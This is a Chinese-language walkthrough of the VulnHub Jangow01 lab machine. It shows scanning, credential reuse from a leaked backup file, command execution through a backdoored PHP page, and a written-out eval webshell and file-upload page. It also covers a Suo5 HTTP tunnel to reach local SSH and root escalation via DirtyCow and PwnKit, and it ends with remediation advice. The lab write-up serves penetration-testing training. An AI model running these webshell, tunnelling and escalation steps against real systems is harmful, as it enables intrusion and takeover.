VulnHub Jangow01:利用 Suo5 在不出网靶机中访问本地服务
# 目标发现与服务枚举
# 主机发现
使用 arp-scan 扫描内网存活主机,确定目标 IP。
┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth1 192.168.1.0/24
192.168.1.11 08:00:27:6b:c8:1c (Unknown)
2
3
4
目标主机 IP:192.168.1.11
# 端口扫描
使用 nmap 进行 TCP 全端口扫描。
┌──(npc㉿kali)-[~]
└─$ nmap -p- -sV 192.168.1.11
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
2
3
4
5
6
发现开放了 21/ftp、80/http 端口,初步判断靶机仅暴露 FTP 与 Web 服务,攻击面集中在 Web 端。
# FTP 服务探测
尝试使用 anonymous 匿名登录 FTP,失败。

# Web 信息泄露与凭证发现
访问 80 端口,发现是一个 Apache 文件列表页面(Directory Listing)。目录下只有一个 site 目录。
注意:Apache 默认配置通常不会显示以
.开头的隐藏文件(如.htaccess、.htpasswd、.env、.git等),需要通过字典爆破等方式探测。

# 目录爆破
使用 dirsearch 对靶机根目录进行目录爆破:
dirsearch -u http://192.168.1.11

# 敏感文件泄露
扫描到一个 .backup 文件,使用 curl 查看内容,发现是一个数据库配置文件,包含了数据库账号密码:
┌──(npc㉿kali)-[~]
└─$ curl http://192.168.1.11/.backup
2
泄露内容:
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// ... omitted ...
2
3
4
5

# 数据库凭证复用与 Webshell 获取
# FTP 登录与文件探测
使用获取到的数据库凭证(jangow01:abygurl69)尝试登录 FTP。
登录成功!且发现 FTP 的根目录即为 Web 服务的根目录。
尝试上传 Webshell,但失败了,提示权限不足(没有写入权限)。

虽然无法写入,但拥有读取权限。
在 site 目录下发现 busque.php 文件,通过 FTP 下载并查看源码,确认这是一个后门 Webshell。

至此确认获得一个 Web RCE(远程命令执行)点,权限为 www-data。
# 额外信息收集
在 site/wordpress/config.php 中读取到另一个数据库配置文件:
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
2
3
尝试用 desafio02:abygurl69 登录 FTP 失败。
# 漏洞验证
如果不通过 FTP 查看源码,也可以在前端页面 Fuzz busque.php 的参数。

使用 ffuf 探测参数名:
ffuf -u http://192.168.1.11/site/busque.php?busca=FUZZ -w /usr/share/wordlists/dirb/common.txt -fl 2
确认参数为 buscar。验证命令执行:
┌──(npc㉿kali)-[~]
└─$ curl http://192.168.1.11/site/busque.php?buscar=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2
3

# 靶机不出网环境验证
发现命令执行漏洞后,尝试常规的反弹 Shell 操作(Bash/Python/Perl),均未收到 Shell。怀疑靶机不出网。
验证网络连通性:
# Ping 公网 DNS
ping -c 3 8.8.8.8
# 100% packet loss
# Ping 网关
ping -c 3 192.168.1.1
# 100% packet loss
# 检查路由表
ip route
# default via 192.168.1.1 ...
# 尝试 HTTP 请求
curl http://1.1.1.1
2
3
4
5
6
7
8
9
10
11
12
13
14

结论:靶机环境不出网(无法主动连接外网)。
应对策略: 由于无法反弹 Shell,传统的 Reverse Shell 思路失效。我们需要转向以下方案:
- WebShell 管理工具:使用中国蚁剑、哥斯拉等工具,这些工具基于 HTTP 请求响应,无需靶机主动外连。
- HTTP 隧道/代理:使用 Suo5、Neo-reGeorg 等工具,将 HTTP 流量转化为 TCP 隧道,实现对靶机本地端口(如 SSH)的访问。
# 方案一:使用中国蚁剑 (AntSword)
通过前面的 RCE 漏洞写入一句话木马。
curl 参数
- -G 表示使用 GET 方式传参
- --data-urlencode 对参数进行 URL 编码,防止特殊字符导致写入失败
curl -G http://192.168.1.11/site/busque.php --data-urlencode "buscar=echo '<?php highlight_file(__FILE__);eval(\$_POST[1]);?>' > /var/www/html/site/shell.php"

# 本地提权探测
使用中国蚁剑连接 Webshell,并上传 linpeas.sh 进行提权辅助扫描。

执行扫描并查看结果:

靶机内核版本较老,存在多个高危提权漏洞:
- Dirty Cow (CVE-2016-5195)
- Dirty Pipe
- PwnKit
- Sudo 提权

# 尝试 DirtyCow 提权
上传 dirtycow exploit (opens new window)。靶机自带 gcc 环境,直接编译:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
2

局限性:虽然 DirtyCow 执行成功并修改了 /etc/passwd(或创建了 root 账号),但由于我们目前只有 Webshell 权限,且没有交互式 Shell 环境(su 切换用户需要交互式终端),无法直接切换到 root 用户进行操作。我们需要一个能登录 SSH 的通道。
# 方案二:使用 Suo5 搭建 HTTP 隧道
# Suo5 简介
Suo5 (opens new window) 是一个高性能的 HTTP 隧道工具。它不是在 PHP 中实现完整的 SOCKS5 协议,而是:
- 客户端将本地流量封装为 HTTP 请求发送给服务端(
suo5.php)。 suo5.php在靶机上解析请求,建立 Socket 连接目标地址(如 127.0.0.1:22)。- 将响应数据通过 HTTP 回传给客户端。
# 部署与连接
为了方便上传文件,先写入一个简单的 PHP 上传页面 upload.php:
<?php
$upload_path = "/var/www/html/site/";
if (isset($_FILES['file'])) {
$filename = basename($_FILES['file']['name']);
$target = $upload_path . "/" . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "Upload success: $target";
} else {
echo "Upload failed";
}
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
利用 Base64 编码写入文件(防止特殊字符导致写入失败):
# 本地将文件内容转为 base64 单行字符串
# 写入命令: echo [base64_str] | base64 -d > 目标文件
upload=$(cat upload.php|base64|tr -d '\n')
curl -G http://192.168.1.11/site/busque.php --data-urlencode "buscar=echo $upload|base64 -d > /var/www/html/site/upload.php"
2
3
4
访问 upload.php,上传 suo5.php 服务端文件。
curl -F "file=@suo5.php" http://192.168.1.11/site/upload.php

启动 Suo5 客户端,连接 Shell:
# -t 指定服务端URL
./suo5 -t http://192.168.1.11/site/suo5.php
2
连接成功后,Suo5 会在本地 1111 端口开启 SOCKS5 代理。

# 代理链配置
配置 /etc/proxychains4.conf,将流量指向 Suo5 的代理端口:
[ProxyList]
socks5 127.0.0.1 1111
2

# 代理 SSH 登录
既然靶机开启了 SSH 服务但不出网,我们现在可以通过代理直接连入 SSH。
利用之前收集到的凭证 jangow01:abygurl69。
proxychains4 ssh jangow01@localhost
# 或者使用靶机内网IP
# proxychains4 ssh jangow01@192.168.1.11
2
3
成功获取交互式 Shell!

# 再次尝试提权
现在拥有了交互式 Shell,可以再次尝试提权。
- DirtyCow: 之前尝试过,可以再次执行。
- PwnKit (CVE-2021-4034): 更稳定推荐。
下载 PwnKit (opens new window),编译(或上传编译好的):
# 在攻击机编译好上传,或者直接在靶机编译
gcc PwnKit.c -o PwnKit
./PwnKit
2
3

成功获得 Root 权限。
# 总结
本次渗透测试的核心在于不出网环境下的权限获取:
- 信息收集:发现
.backup备份文件,获取数据库凭证。 - 凭证复用:利用数据库密码登录 FTP,虽然无法写入 Shell,但利用 FTP 读取权限获取了现有的 Webshell 代码。
- 不出网突破:
- 发现靶机无法反弹 Shell。
- 通过写入
suo5代理工具,建立 HTTP 隧道。 - 配合
proxychains代理ssh流量,成功登录靶机获取交互式 Shell。
- 提权:利用内核漏洞(DirtyCow/PwnKit)完成 Root 提权。
修复建议:
- 及时更新系统内核和软件版本。
- 禁止 Web 目录显示文件列表(Options -Indexes)。
- 清理 Web 根目录下的备份文件和敏感配置。
- 数据库与 FTP/SSH 等服务应当使用不同密码。
- 严格限制 Web 目录的写入权限,并查杀 Webshell。